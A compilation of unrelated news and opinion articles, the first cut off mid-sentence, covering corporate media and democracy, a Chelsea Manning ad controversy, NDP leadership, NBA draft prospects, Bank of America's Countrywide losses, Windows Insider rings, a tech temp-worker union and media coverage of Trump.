mastered the art of not making painful connections; painful for powerful interests, that is. No wonder, too, that our major political parties offer no real choice: they all represent essentially the same interests crushing any moves towards meaningful public participation in the shaping of policy.  Making The Planet Uninhabitable  In the introduction of a new book, Managing Democracy, Managing Dissent, Rebecca Fisher outlines the stranglehold that corporate power, including its mass media sector and political accomplices, has on democracy. Fisher, an activist with Corporate Watch, writes:  'our legal avenues to hold our putative representatives to account, or to persuade them to take heed of our demands, are restricted to actions via pressure groups or tame and largely ineffectual protests about specific, isolated issues. This ensures that the capitalist system is able to reap catastrophic damage upon subject populations and the environment, even to the extent of threatening the habitability of the planet, while remaining, for the most part, insulated from public challenge.' (Rebecca Fisher, editor, Managing Democracy, Managing Dissent: Capitalism, Democracy and the Organisation of Consent, Corporate Watch, London, 2013, p. 2)  The framework of global capitalism – its reigning institutions, policies and practices - tends to be taken for granted in the corporate media. Media academic and activist Robert McChesney points to the 'persistent reluctance' of commentators to 'make a no-holds-barred assessment' of capitalism. He makes a revealing comparison to illustrate this absurdity:  'A scholar studying the Soviet Union would never discount the monopoly of economic and political power held by the Communist Party and the state and then focus on other matters. The political economy would be central to any credible analysis, or the scholar would be dismissed as a charlatan. The same is true of any academic study of any ancient civilization.' (Robert McChesney, Digital Disconnect: How Capitalism Is Turning The Internet Against Democracy, The New Press, New York, 2013, p. 17)  But on the rare occasion when the system is questioned, notes McChesney, even critical writers feel obliged to provide a 'loyalty oath' to capitalism:  'whenever scholars examine their own society, it is generally taboo to challenge the prerogatives and privileges of those who stand atop it and benefit from the status quo, even in political democracies. This may be nearly as true of the United States as it was of the old Soviet Union.' (Ibid., p. 17)  McChesney's observations about 'scholars' extend to media professionals, as he makes clear in his book. As we have often said, one cannot expect a corporate media system to report honestly or accurately about the corporate world.  Fisher rightly warns that the corporate system 'cannot co-exist with genuine democracy', adding:  'the emergence and predominance of the corporation has facilitated the emergence of a form of democracy – liberal democracy – which, by careful processes of management is made safe for corporations to dominate society, and for the capitalist system to reap enormous human and environmental damage.'  In other words, so-called 'liberal democracy' has become a lethal shield that protects capitalism from the threat of proper democracy based on meaningful participation by the general population. As we have explained in numerous books and media alerts, corporate power has for decades carried out huge campaigns of disinformation - called 'public relations' - and political lobbying to create the illusion of 'consensus' required to pursue its own selfish aims.  Fortunately, there is an inherent weakness here, because the system is maintained only so long as there is large-scale public acceptance of the status quo. Noam Chomsky puts it well when he says that:  'even the most efficient propaganda system is unable to maintain the proper attitudes among the population for long. [...] fundamental social and economic problems cannot be swept under the rug for ever.' (Noam Chomsky, Deterring Democracy, Vintage, 1993, pp. 134-135)  There is thus plenty to be said about living under a giant system of government surveillance. Just don't expect the corporate media to explore the full extent of what it really all means.
-An anti-LGBTQ group is using Chelsea Manning’s image in an ad campaign that urges lawmakers to vote against allowing openly transgender people to enlist in the military because they would be entitled to medical care.  The Family Research Council, which has been deemed a hate group by the Southern Poverty Law Center (SPLC), tweeted the ad Thursday. It shows a photo of Manning next to one of a military jet. The ad, which can be viewed below, implies that the cost of providing health care to transgender service members would affect the amount spent on military equipment.  We're running this ad in NY-23 to encourage people to tell @RepTomReed how they want the military to spend their tax $. Call 202-225-3161. pic.twitter.com/j6TjBVAXbC — FRCAction (@FRCAction) July 20, 2017  The photograph appeared to come directly from Manning’s social media accounts. The whistleblower came out as transgender in 2013, while serving prison time for providing WikiLeaks with sensitive government documents. After seven years behind bars, Manning had her prison sentence commuted by former President Barack Obama.  Manning posted the photograph to both her Instagram and Twitter accounts May 18. It was the first photograph of Manning that had been released to the public in years.  Meanwhile, the FRC’s tweet also suggested that the ads will appear in districts represented by Republican House members who voted against a proposal that would have denied medically necessary health care to transgender people in the military. Though the proposal had been expected to pass, the House rejected it, 214 to 209.  The Family Research Council’s Tony Perkins doubled down on the sentiments relayed by the ad in a July 20 blog. The FRC, he wrote, had sent a letter to Congress urging them to reconsider allowing openly transgender people to enlist in the military now that their medical care had survived.  “Funding the military should not include funding sex-reassignment surgery or hormone therapy intended to change a person’s gender. Providing sex-reassignment surgery for service members is not a part of providing for the common defense,” the letter to Congress read, according to Perkins’ blog. “Indeed, it undermines the purpose of the military, which is to fight and win wars. In addition, even the Center for Medicare and Medicaid Services under [Obama’s] administration admitted that there are not sufficient studies to show that sex-reassignment surgery actually helps the patient.”  Under the Obama administration, the military lifted its longstanding ban on openly transgender service members in June 2016. Though the military had planned to allow recruits who identify as trans to enlist as of July 1, that move has been delayed for six months. A Pentagon spokeswoman told The New York Times that Defense Secretary Jim Mattis wanted to allow military service leaders to “review their accession plans and provide input” while considering what effect adding trans recruits would have on “the readiness and lethality of our forces.”  Still, the FRC’s suggestion that the cost of a transgender service member’s healthcare would somehow affect the purchase of military aircraft is particularly ill-conceived. The U.S. has about 13,000 military aircraft. The next-largest aerial powers, China and Russia, have 2,000 to 3,000 military aircraft each, Business Insider reports.  HuffPost has reached out to the National Center for Transgender Equality and a representative of Manning and is awaiting comment.
-OTTAWA — Thomas Mulcair faced the national media Monday, hoping to make his case for why he deserves to stay on as party leader as calls for him to step aside mount.  NDP Leader Tom Mulcair speaks to supporters, Monday, Oct. 19, 2015 in Montreal. (Ryan Remiorz/CP)  Mulcair said he was energized after the Christmas break and excited to get back to work with his colleagues fighting against inequality and injustice. He laid out the NDP’s latest call to arms, the Trans-Pacific Partnership agreement, a massive free-trade deal among Pacific nations that the Liberal government appears poised to sign, but which, Mulcair suggests, threatens thousands of good jobs in Canada.  Despite wanting to talk about the TPP, the NDP leader faced a barrage of questions over his own leadership after he led the party from first place in polls at the beginning of the campaign in August to a crushing third-place finish that saw half of his caucus members lose their seats, taking the NDP from 103 seats in the 2011 election to 44 seats in 2015.  “It wasn’t there for us this time,” Mulcair told reporters in explaining the Oct. 19 result. “As a team, we haven’t been to the finals very often, and I can tell you that we learned a lot. Next time, we’ll be there to get the cup.”  In April, Mulcair faces a leadership vote at the party’s national convention in Edmonton. He told reporters that he needs 50 per cent plus one vote to avoid a leadership race and that he hopes to get more than that — much more than that — but he refused to set a floor and say how much support he wants in order to remain the party leader.  “I know that that support can be there. I sense it is there, but I’m not taking anything for granted.”  “It’s up to the members to decide that,” he told HuffPost when asked for his desired support base. “I don’t take anything for granted. I’m humbled, before the membership and the extraordinary wave of good ideas that have come forward since the election to correct what they see as being problems. I’m also determined, very proud to lead this party, and I’m going to go before the membership without presuming anything … and ask for their support, and it has to be, of course, beyond 50 per cent.”  What about 60 per cent? Mulcair wouldn’t say.  “I know that that support can be there. I sense it is there, but I’m not taking anything for granted.”  Mulcair said he will continue to work with the parliamentary caucus, plans to meet party officials this weekend and will likely head to a riding in Manitoba to meet with grassroots members.  First, however, Mulcair will meet with his MPs Tuesday for a two-day caucus retreat in Montebello, Que., before the House of Commons returns next week.  Mulcair urged to take responsibility for NDP's defeat  During his press conference, the NDP leader struck a more pensive tone than he has in the past several weeks and months, when he has mostly played down the NDP’s stunning defeat.  After the election, he blamed the niqab issue for the party’s loss of support in Quebec — despite the Liberals’ holding the same position. To the party faithful in Vancouver in November, he praised the party’s election result in the province and reminded volunteers that the party had its second best showing ever.  Since then, several high profile New Democrats have suggested their leader is dreaming in technicolour if he believes he can stay on to fight the next election in 2019. They had hoped Mulcair would take responsibility for some of the NDP campaign’s worst strategic mistakes, pointing to the call for a balanced budget in the midst of a technical recession. So far, Mulcair hasn’t.  “I shared the sadness and the disappointment of many people. But now, I’m encouraged by what I see across the country.”  On Monday, he declined to give a straight answer about whether he believes the federal government should bring in a balanced budget and if he thinks deficits, right now, are necessary because of the declining loonie and the massive drop in oil prices. It was left up to an aide to explain the party leader’s position.  The night of the election, Mulcair said: “I shared the sadness and the disappointment of many people. But now, I’m encouraged by what I see across the country.”  He never thought of resigning. Not once, he said. “It’s not in my nature.”  Toronto MPP calls for new federal leader  The voices who have spoken out against Mulcair have mostly been disgruntled, defeated MPs, speaking confidentially, who felt they had lost through no fault of their own — having raised more money and identified more supporters than ever — but because of a badly run national campaign. The most vocal New Democrat willing to speak on-the-record has been Cheri DiNovo, an MPP for Toronto’s Parkdale–High Park where the former incumbent MP Peggy Nash also lost her seat.  NDP Leader Tom Mulcair holds a press conference at the National Press Theatre in Ottawa on Jan 18, 2016. (CP/Sean Kilpatrick)  “He’s got to go,” DiNovo told the Toronto Star’s Thomas Walkom earlier this month.  Monday, DiNovo told The Huffington Post Canada that she doubts Mulcair can stay and that, at a bare minimum, he should want support for his leadership to be in the high 70s.  “Fifty plus one is absurd; it’s absurd to me,” she said, laughing. “Even in the 70s…. For an incumbent leader, you want incredible support behind you, that’s what you need.”  In 2009, the party’s former leader, Jack Layton, received 89.25 per cent of support.  The federal election was “a disaster” for the NDP, DiNovo said.  Whether or not it was Mulcair’s ideas or those of advisers to call for fiscal discipline during a technical recession or rid the party of its socialist label, he agreed to it, she said. “The end result was he said ‘yes’ to that, and we need a leader who second-guesses those folks if that is the direction they are taking us.”  “They need to hear directly that it wasn’t their fault that we lost.”  NDP donors and volunteers, those who gave their time and money, deserve to hear him and the central campaign take responsibility, she added.  “They need to hear directly that it wasn’t their fault that we lost.”  “I need to hear him — and I think many of us do — look at what was said, things like balanced budgets, etc. He needs to take responsibility. The idea of running another campaign with somebody who has lost 50 per cent of our seats doesn’t seem like a realistic option to me. It really doesn’t.”  DiNovo said she has always admired Mulcair for his intellectual abilities and his help for the Quebec breakthrough. But the party should focused now on deep soul-searching and not be consumed with or scared about the idea of finding a new leader.  “The reality is there cannot be another potential leader until space is made for them.”  It’s not just about Mulcair or his capabilities, DiNovo added.  Parkdale-High Park MPP Cheri DiNovo says the federal NDP need a new leader. (Photo: CP)  “It really needs to be not about him right now, quite frankly. It really needs to be about the needs — I would say even greater than the NDP, [of] democratic socialism and that movement in Canada — that we need to be the party that represents that.  “We need to look at how we do things, how we do politics, what kind of politics we represent, who our base is. We need to do all of that work,” she said, referring to how the federal Liberals successfully addressed the same sort of considerations after their disastrous showing in the 2011 election. “We’ve got four years.”  But can Mulcair stay on as leader while the NDP finds itself?  “I’m really dubious that that is a possibility, that we can go forward as a party, you know four years from now with the same leader from this last disastrous election, I’m really dubious about that absolutely.  “If a leader loses half of the seats in the party and struggles to keep his own, that leader is in trouble and should be in trouble, and that’s really all I’m saying,” the Ontario MPP added. “The fact that we continue to deny the obvious seems to me really bizarre and doesn’t help.  NDP Leader Tom Mulcair holds a press conference at the National Press Theatre in Ottawa on Jan 18, 2016. (CP/Sean Kilpatrick)  “I'm not alone,” DiNovo added. “I’m expressing what I am hearing from a lot of people who seem to not want to speak out.  She’s speaking out, she said, because she thinks it’s her duty to tell the truth and, because she isn’t tied to the federal party, she doesn’t have to support him and the party can’t fire her.  “Only the electorate can do that, and I’m responsible ultimately to them, and that is who I am listening to and that is who I am speaking for.”  Even if Mulcair “manages” to remain leader after the April convention, DiNovo warned, it doesn’t “necessarily mean that he will be the leader at the time of the next campaign either.”  The NDP asks its members every two years whether they want a leadership race, which means if Mulcair stays on in 2016, he could still be ousted in 2018.  “At the end of the day, he stands for that campaign in the imagination of the Canadian public, and that is a real problem.”  Also on HuffPost
-Jun 26, 2014; Brooklyn, NY, USA; NBA commissioner Adam Silver addresses the crowd before the start of the 2014 NBA Draft at the Barclays Center. Mandatory Credit: Brad Penner-USA TODAY Sports  The Utah Jazz worked out their first group of incoming NBA prospects on Wednesday, trying to find that next diamond in the rough. According to Jazz VP of Player Personnel Walt Perrin, it’s a search that might pervade the entirety of the 2015 NBA Draft.  Jody Genessy of the Deseret News was on hand to witness the proceedings and spoke with Perrin, who told the Jazz beat writer that this summer’s pool of potential draftees may be lacking in marquee-level talent:  “I don’t see a lot of so-called NBA superstars, if any.”  The Jazz currently sit in the 12th position of the first round, pending the results of the NBA Draft Lottery on Wednesday, May 20th. If you’re the masochistic type, head on over to the RealGM Draft Lottery Simulator and see how long it takes you to win a top three pick for the Jazz.  The team will also owns the No. 42 pick of the second round.  Given the cadre of young and developing talent already on the roster, the likelihood that Utah’s pick will fall in the middle of the first round and the opinion of Perrin and others that the draft may be lacking in star potential, it might behoove the Jazz to move their pick.  On the other hand, you never know when a player might exceed his perceived value and bring their game to a higher level. Our own Rudy Gobert was drafted 27th overall in a weak draft class and has evolved into a franchise-changer.  The franchise has also done well to round out its roster with D-League call-ups and undrafted free agents. Jazz point guard Bryce Cotton was discovered during an early workout last summer and eventually signed a multi-year deal with the team.  Perrin on potential sleepers in this year’s draft class:  Perrin continued: "But that's not to say somebody may not jump forward and become the next Stephen Curry or somebody like that." — Jody Genessy (@DJJazzyJody) May 6, 2015  What does this mean for the Jazz and what should they do on draft day? Comment below or hit us up on Twitter with your thoughts!
-Bank of America’s mortgage business has lost more than $50 billion since the Charlotte bank bought Countrywide Financial for $2.5 billion, according to an Observer tally, and more losses are coming in an expected Justice Department settlement.  After announcing the deal for the ailing subprime lender in January 2008, then-Bank of America chief executive Ken Lewis called it a rare chance to become No. 1 in home loans. Instead the bank’s shareholders have spent six-plus years paying for Countrywide’s slipshod lending practices.  The disastrous purchase not only harmed investors but also employees, homeowners and the Bank of America headquarter’s city, which had risen to national prominence as its banks spread across the country in the 1980s and 1990s.  “It was a crippling deal for Bank of America,” said Ken Thomas, a Miami-based banking consultant, “and Bank of America is still in recovery mode because of it.”  Sign Up and Save Get six months of free digital access to The Charlotte Observer  Former Bank of America executives say some insiders had concerns about the purchase at the time, but the bank forged ahead. Lewis has said regulators didn’t pressure him to buy Countrywide, but government officials were clearly pleased to check a problem off their list as the financial crisis was emerging.  Since July 1, 2008, when the deal officially closed, the bank’s mortgage business has lost $52.7 billion through the first half of this year, the Observer found. This number – more than double North Carolina’s recently approved annual state budget – includes settlements, payments to investors for soured loans, accounting writedowns, and operating losses and profits. The rest of the bank made about $75 billion over the same period.  The latest Justice Department settlement, which could come within days, would resolve a variety of probes with federal and state authorities, including allegations related to the sale of faulty mortgage-backed bonds. The agreement, not yet finalized, is expected to include roughly $9 billion in cash, plus $7 billion to $8 billion in consumer relief, such as reduced loan balances for struggling mortgage holders.  Bank of America doesn’t disclose the total amount it has set aside for legal reserves, but it has taken $10 billion in litigation expenses in the first half of this year. Some of this has gone toward other settlements, but analyst John McDonald of Sanford C. Bernstein estimates the bank has set aside $5.5 billion for the Justice Department pact. “We believe additional charges could continue to weigh on core earnings going forward,” Paul Miller, a bank analyst with FBR & Co., wrote last month.  It’s not possible to break out exactly how much of the losses in the bank’s mortgage unit came from Countrywide. But the California-based lender was the much larger mortgage company, with about 17 percent market share, compared with Bank of America’s 8 percent, according to Inside Mortgage Finance, an industry publication.  Bonds covered by the latest settlement also show Countrywide’s lopsided role in the losses. Of the loans packaged into securities by Bank of America and companies it later bought from 2004 to 2008, about three-fourths of those that soured were originally issued by Countrywide. Bank of America produced just 4 percent, with Merrill Lynch accounting for most of the rest.  “Clearly, it’s the worst acquisition in history,” said Guy Cecala, publisher of Inside Mortgage Finance. “No one really appreciated the liability that was going to be associated with large lenders from the past. Bank of America paid for it.”  ‘What are they thinking?’  The acquisition started as a $2 billion investment by Bank of America in Countrywide in August 2007 at a time when crashing credit markets had spurred rumors that the lender could face bankruptcy.  The bank had a long-standing relationship with Countrywide CEO Angelo Mozilo, helping him start his mortgage company with a $75,000 loan in 1969. Lewis flew to California to meet with his counterpart, known for his year-round tan, to seal the deal.  But as financial markets continued to roil, Bank of America and Countrywide began discussing an acquisition in mid-November 2007, according to securities filings. On Jan. 11, 2008, the bank announced it was buying the company for about $4 billion in stock, a price that would slip to $2.5 billion by the time the deal closed six months later.  “We view this as a onetime opportunity to acquire the best mortgage platform in the business at a time when the value is very attractive,” Lewis told analysts that morning. Less than seven years after succeeding the legendary Hugh McColl Jr. as CEO, the son of a single mother who worked as a nurse had cemented his goal of making the bank a nationwide leader in mortgages, credit cards and deposits.  But some former executives at the bank now say there were doubts internally about the acquisition.  Only a small group of people from Bank of America’s smaller mortgage business were involved in the deal’s “due diligence,” the review of Countrywide’s books and operations, said a former mortgage executive familiar with the deal. Disappointed they had little say in the deal, Bank of America mortgage executives were concerned about the strategic fit and the reputational risk of joining with Countrywide.  In 2001, Bank of America, under Lewis, had exited the business of making subprime mortgages, higher-priced loans to borrowers with riskier credit profiles. And in fall 2007, the bank had stopped selling mortgages through brokers, a major business for Countrywide but one that Lewis had criticized for producing loans he called “toxic waste.”  “It was like, ‘What are they thinking?’ ” said the former mortgage executive, who like other colleagues agreed to speak only on the condition of anonymity to protect business relationships. “We are two totally different companies.”  Elsewhere in the bank, other executives were familiar with Countrywide because the bank bought loans from the lender for its own investment portfolio. Some worried about diminishing loan quality and the possibility that investors who had bought securities backed by Countrywide mortgages could some day demand the bank repurchase the loans if they went bad, said a former Bank of America executive. That’s the exact scenario that played out in coming years.  “The people who understood the mortgage business were clearly providing candid and factual feedback to the diligence team,” the executive said. “What they did with that information, there is no way I could answer that question.”  At the time, Lewis said the bank’s “extensive due diligence supports our overall valuation and pricing of the transaction.” The bank got advice on the purchase from its own securities arm and the law firms of Cleary, Gottlieb, Steen & Hamilton and K&L Gates, according to a news release.  Lewis, who retired in 2009 and still has a home in Charlotte, declined to comment for this story.  To be sure, few inside or outside the bank envisioned the tens of billions of losses that were to come, and the peak of the financial crisis was still months away. Over its history, Bank of America had often profited by buying down-and-out companies at bargain prices.  Unlike the Merrill Lynch purchase forged later in 2008, the government doesn’t appear to have played a major role in the Countrywide acquisition.  In 2010, Lewis told the Financial Crisis Inquiry Commission that regulators were “interested” in the bank’s possible purchase of Countrywide “but no one asked us to do the deal.”  In January 2008, a Treasury spokeswoman, facing an inquiry from a reporter, emailed a colleague that she was going to “kill the idea” that Treasury encouraged the purchase.  “We were aware but that doesn’t mean we were picking up the phone asking for bids,” the spokeswoman wrote, according to emails obtained through a Freedom of Information Act request.  From praise to protests  Initially, some advocates for borrowers lauded Bank of America for being a white knight reforming an industry villain. From the outset, the bank pledged to abandon Countrywide’s subprime lending practices.  “Bank of America has the resources and the will to begin cleaning up the subprime mess that Countrywide has played such a large role in creating,” Martin Eakes, chief executive of the Durham-based Center of Responsible Lending, said at the time.  But praise for Bank of America would evaporate as foreclosures mounted in the recession, fueling homeowner anger and protests around the country.  Inside the bank, the criticism wore on some employees.  “I felt like we had done the country a big favor,” said another former Bank of America banker. “If we hadn’t bought Countrywide what would have happened if one of the worst actors went bankrupt?”  By the end of 2009, Lewis had retired, facing intense criticism mostly for his Merrill Lynch deal that had resulted in a government bailout. One of his lieutenants, Brian Moynihan, would replace him and soon discover that cleaning up Countrywide would become a nearly all-consuming task.  Moynihan, a onetime college rugby player, joined the bank in its 2004 FleetBoston Financial acquisition and became head of Bank of America’s corporate and investment bank just weeks before the Countrywide purchase. In four-plus years as CEO, he has wrestled with legal settlements, sold off assets and embarked on a program to cut 30,000 jobs as he sought to create a less risky and more profitable company.  The bank’s stock, which closed Friday at $15.22, has been essentially flat since he took charge.  “Obviously, there aren’t many days when I get up and think positively about the Countrywide transaction,” Moynihan has said.  Mortgage losses began to ratchet up at the end of 2010 and into 2011 as investors began lodging claims asking the bank to buy back defective mortgages. In June 2011, the bank announced an $8.5 billion settlement with private mortgage-bond investors in a sign of the eye-popping payouts to come.  Now, the Justice Department case appears close to resolution. The expected settlement of more than $16 billion would be the largest ever between the U.S. government and a company.  While a huge number, the settlement is likely to leave many unsatisfied. Some critics say Bank of America is getting off light considering the damage it caused in the financial crisis and question why individuals aren’t being prosecuted. Others say the bank is being punished for a deal that saved Washington from a costly bailout.  “Can the government really claim victory for squeezing money out of large banks like Bank of America to pay for the sins of some other lender?” said Cecala, the publisher of Inside Mortgage Finance. “Wouldn’t it be more appropriate if they went after Countrywide officials who were responsible for this kind of thing?”  Since the Countrywide purchase was announced in January 2008, Bank of America’s shares are down more than 60 percent, compared with a 37 percent rise in the S&P 500 index, a broad measure of stocks. Regulators this month allowed the bank to bump its quarterly dividend to 5 cents per share, far short of the 64 cents the bank paid in 2008.  The promise of becoming a dominant mortgage lender with more than a quarter of the market has also fizzled. Bank of America gained ground in the second quarter of this year but still originated less than 5 percent of U.S. home loans.  The damage to the company, however, is defined by more than dollars and cents, said Thomas, the banking consultant.  “It was reputational,” he said. “It has tainted Bank of America probably forever.”
-Windows 10 and Windows 10 Mobile users who are signed up for the Windows Insider testing program can now select to receive builds from the new Release Preview ring. It joins the previous Fast and Slow ring options.  Windows Insider head Gabriel Aul described the new Release Preview ring in a blog post, along with which ring would work best for Windows Insiders, depending on how often they want new builds, along with the stability of those builds.  Fast – Best for Insiders who enjoy being the first to get access to builds and feature updates, with some risk to their devices in order to identify issues, and provide suggestions and ideas to make Windows software and devices great.  Slow – Best for Insiders who enjoy getting early access to builds and feature updates, with less risk to their devices, and still want to provide feedback to make Windows software and devices great.  Release Preview – Best for Insiders who enjoy getting early access to updates for the Current Branch, Microsoft applications, and drivers, with minimal risk to their devices, and still want to provide feedback to make Windows devices great.
-A group of temporary workers at Microsoft contractor Lionbridge has signed its first union contract, a rare feat in a technology industry typically unfriendly to organized labor. But the deal, sealed after almost two years of contentions talks, comes at a cost.  A group of temporary workers at Microsoft has signed its first union contract with their employer, a rare feat in a technology industry typically unfriendly to organized labor.  But the deal, sealed after almost two years of contentious talks, comes at a cost.  This month more than a third of the union’s 33 members, employed by Lionbridge Technologies in Bellevue, were laid off or agreed to leave voluntarily amid the threat of deeper cuts. Union members say they were told the reduced head count is the result of less work coming from Microsoft, the team’s only client.  For Philippe Boucher, the 66-year-old French immigrant who spearheaded the creation of the independent Temporary Workers of America (TWA), the union drive is evidence that in the technology industry, long viewed as infertile ground for organized labor, temporary workers can organize and win greater benefits.  “It was difficult, but not impossible,” Boucher said. “We just proved that it’s possible.”  Other members of the union, reluctant to speak publicly for fear of jeopardizing future employment opportunities, deferred to Boucher as their spokesman.  The contract with Lionbridge, signed earlier this month, is the latest in a series of victories for workers’ advocates in the Puget Sound area, and comes amid growing concern about income inequality nationwide.  In the last two years, a $15-an-hour minimum wage floor has survived challenges in Seattle and SeaTac, Seattle became the first city in the U.S. to give drivers for Uber and other ride-hailing services the power to unionize, and, more recently, Seattle proposed a law aimed at giving retail workers more predictability in their work schedules.  Margaret O’Mara, a history professor at the University of Washington who focuses on the technology industry, said concerns about the place of workers have grown along with the perception of economic instability after the financial crisis.  “You have a destabilization, a lot of people going from feeling somewhat secure, to a feeling that upward mobility has stopped,” she said. “The future is not as bright as it might have seemed a couple of generations earlier.”  Role of contractors  The new union’s effort also casts a spotlight on the shadowy world of temporary workers and contractors that makes the technology economy tick.  Dozens of contracting firms supply Microsoft, Amazon.com and other large companies with everything from developers to graphic artists, software testers and language specialists like those employed by Lionbridge.  In some cases, the work is truly temporary, with employees signing on to six- or 12-month projects pegged to a specific product.  In others, like the now-unionized lab of Lionbridge workers who have reviewed the content of Microsoft Windows applications since 2011, engagements can stretch for years, and take on a quasi-permanent status.  A few groups in the technology contracting world are represented by unions, including the drivers of Microsoft’s Connector shuttles, bus drivers for Silicon Valley giants, and some janitorial and warehouse workers.  The TWA isn’t the first union of temporary workers that formed in Microsoft’s orbit.  The Washington Alliance of Technology Workers, or WashTech, organized in 1998, just as a class-action lawsuit of temporary workers seeking benefits from Microsoft was making its way through the courts.  Microsoft ultimately settled the case, paying out about $97 million to the employees. WashTech, meanwhile, tried to rally Microsoft’s so-called “temps” and full-time employees for more than a decade, with limited success. The union has since shifted its attention away from Microsoft, focusing on jobs like call-center workers.  The TWA’s unionization drive began in 2013 when a Lionbridge employee was laid off after she had asked management for better benefits.  Over the following year, Boucher and his allies quietly gathered enough signatures to trigger the federally mandated unionization vote that chartered the union.  Boucher and fellow union members, initially with legal help paid for by more established unions, started contract talks with Lionbridge, asking the company for paid time off, parental leave, and a raise.  The company’s initial offers, Boucher said, didn’t contain any benefits beyond their current employment terms for the hourly workers, who earned between $17 and $25 an hour.  Lionbridge, through the Seattle attorney who represented the company in bargaining talks, declined to comment.  New policy  Microsoft was listening to the concerns of the union and other contract employees.  The Redmond company, which has long said it has no direct relationship with workers at Lionbridge and other companies it uses for contract labor, last year introduced a policy requiring its contracting firms to offer employees working on Microsoft tasks in the U.S. a minimum of 15 days of paid time off a year.  The new policy drew widespread praise, even from the White House, which cited the move as an example of companies’ ability to lift working conditions without government mandates.  The policy could have widespread impact: Microsoft at one point last year was using the services of about 81,000 contractors worldwide, according to a person familiar with the figure, though it’s unclear how many are in the U.S. or how many are focused exclusively on Microsoft tasks.  The company has about 114,000 full-time employees, and it declined to comment on its number of contract workers.  Dozens of companies have built their business, in part, on providing services to the company, from janitorial and human resources to core technology roles like hardware and software design, development and testing.  Microsoft has long been Lionbridge’s biggest client, and last year it accounted for 15 percent of the Waltham, Mass., company’s sales.  Landmark ruling  However, Microsoft’s new paid-time-off policy didn’t spur a resolution in talks between Lionbridge and the TWA. The union voted down one proposed contract. Talks then broke down, with the union and Lionbridge both filing unfair labor practices charges.  In late 2015, a landmark ruling by a national labor regulator gave Boucher leverage to try to bring Microsoft into the talks.  The National Labor Relations Board (NLRB) determined that Browning-Ferris Industries, a waste-management company, was a co-employer of the contract workers staffing one of its California facilities. Because Browning-Ferris exerted enough indirect control over the contractors’ working conditions, the company had to be at the bargaining table when they tried to organize.  “Large employer organizations are really fearful about the ramifications of this,” said George Gonos, a professor at Florida International University who has studied the rising use of temporary workers, and co-authored court papers in support of the joint employment finding in Browning-Ferris. “For decades, we’ve seen the spread of ‘permatemping’ in a wide range of industries,” he said. “These companies’ success rests, in some part, on the exploitation of the workers at the bottom of the pyramid.”  Companies, represented by trade groups like the U.S. Chamber of Commerce and the National Association of Manufacturers, supported Browning-Ferris’ appeal of the ruling, arguing it could create chaos and destabilize the labor structure that employers have come to rely on.  “What corporate America is doing is saying, this is the way we do business, and it’s not that we’re trying to avoid” labor laws and worker protections, said Roger King, a senior council of the business-backed HR Policy Association. “These are just basic operational decisions that make good business sense and, if you are a publicly traded company, make good business sense for your shareholders.”  In a joint filing supporting the appeal of Browning-Ferris, Microsoft and the HR Policy Association in June argued that Microsoft’s mandate for 15 days of paid time off and other minimum standards were a good thing for workers, and they shouldn’t be used to determine that the company is a joint employer of its contract workers.  Inquiry resisted  Boucher asked Microsoft to join the TWA’s talks with Lionbridge, citing the precedent established in Browning-Ferris and saying Microsoft’s new paid-time-off rules didn’t go far enough.  When Microsoft refused, saying Lionbridge was the TWA members’ only employer, the union asked the NLRB to investigate whether the company was a joint employer under the Browning-Ferris standard.  Microsoft resisted the NLRB probe in an appeal that stretched for nine months, until a national NLRB panel ruled last month that Microsoft had to cooperate with NLRB information requests.  A week later, Lionbridge approached the TWA with a renewed contract offer. Work on the Windows application project to which the group was assigned had tapered off, union members say they were told, and layoffs were imminent.  Lionbridge’s new contract offer for the first time included some of the provisions the union had been seeking, Boucher said, including a raise and severance payments for those who would be laid off. The union and Lionbridge also agreed to a system tied to performance reviews that would determine which employees would be subject to the cuts.  “It was like, something fell from the sky,” Boucher said of the offer. “I didn’t believe it.”  As a condition of the contract, Lionbridge required the union to drop its joint-employer charge against Microsoft, as well as other pending unfair-labor-practices charges against Lionbridge.  The TWA’s members ratified the agreement in a vote, 30-1.  Microsoft, a company spokesman said, had no role in the talks and didn’t ask Lionbridge to get the union to drop its joint employer charge.  “This was a matter between Lionbridge and its employees, and we are pleased to see they’ve reached an agreement,” he said.  Boucher won’t reap the rewards of the new contract. He left Lionbridge last month after four years of commuting — on ferries, bicycle and bus — from Bainbridge Island to Redmond and Bellevue. He’s looking for a job closer to home.  He plans to stay active in the union, though.  “For a very small team, it’s progress,” Boucher said. “At the same time, I don’t know if it will have any impact” on how companies treat their contract workers.  The technology industry’s workforce, said the UW’s O’Mara, extends far beyond the in-demand software developers who make the headlines.  “We kind of forget about all the other jobs, a lot of companies that are a part of the ecosystem doing things from software testing to building iPhones,” she said. “It really becomes invisible.”
-Donald Trump’s claim that the “crooked media” has it in for him has prompted much soul-searching with the Fourth Estate, and its conclusion appears to be that he's right -- and that's just fine with some news organizations.  “I’m not running against Crooked Hillary,” Trump told a crowd in Fairfield, Conn., last week. “I’m running against the crooked media.”  Lately some, including The New York Times, Vox and Bill Moyers’ website, have not only owned up to Trump's accusation, they've embraced it.  “If you deplore media cowardice, you might think this is a good thing, not because Trump is a mortal danger to this country, although he is, but because it means the press is doing its job,” Neil Gabler wrote on the journalism website of Moyers, the longtime PBS newsman who cut his teeth as a spokesman for Democratic President Lyndon Johnson. “Call it partisan bias if you like. I call it journalism.”  Ezra Klein, the Vox writer who as a Washington Post staffer organized a secret society of left-wing reporters dubbed “JournoList” that was shut down after it was exposed in 2010, acknowledged that the press is not giving Trump traditional treatment.  “The media has felt increasingly free to cover Trump as an alien, dangerous, and dishonest phenomenon,” Klein wrote last week.  New York Times’ media critic Jim Rutenberg wrote that journalists who personally oppose Trump had an obligation to “throw out the textbook” when it came to coverage of The Donald.  “If you’re a working journalist and you believe that Donald J. Trump is a demagogue playing to the nation’s worst racist and nationalistic tendencies, that he cozies up to anti-American dictators and that he would be dangerous with control of the United States nuclear codes, how the heck are you supposed to cover him?” Rutenberg wondered in a front-page article earlier this month.  When it comes to covering Trump, it’s only fair to be unfair, according to The Atlantic.  “All things considered, the press has responded defensibly to the unusual challenges of covering a brazen, habitual liar,” Conor Friedersdorf wrote in a recent column titled, “The Exaggerated Claims of Media Bias Against Donald Trump.”  If Trump is confused by the media’s stance that it has been fair by being biased, he can take comfort in a new study on his treatment by the press since he entered the political arena.  Harvard University’s Shorenstein Center on Media, Politics and Public Policy tracked his coverage by CBS, Fox, the Los Angeles Times, NBC, The New York Times, USA Today, The Wall Street Journal and The Washington Post. It concluded that through its coverage of Trump, both good and bad, the media helped him get the Republican nomination.
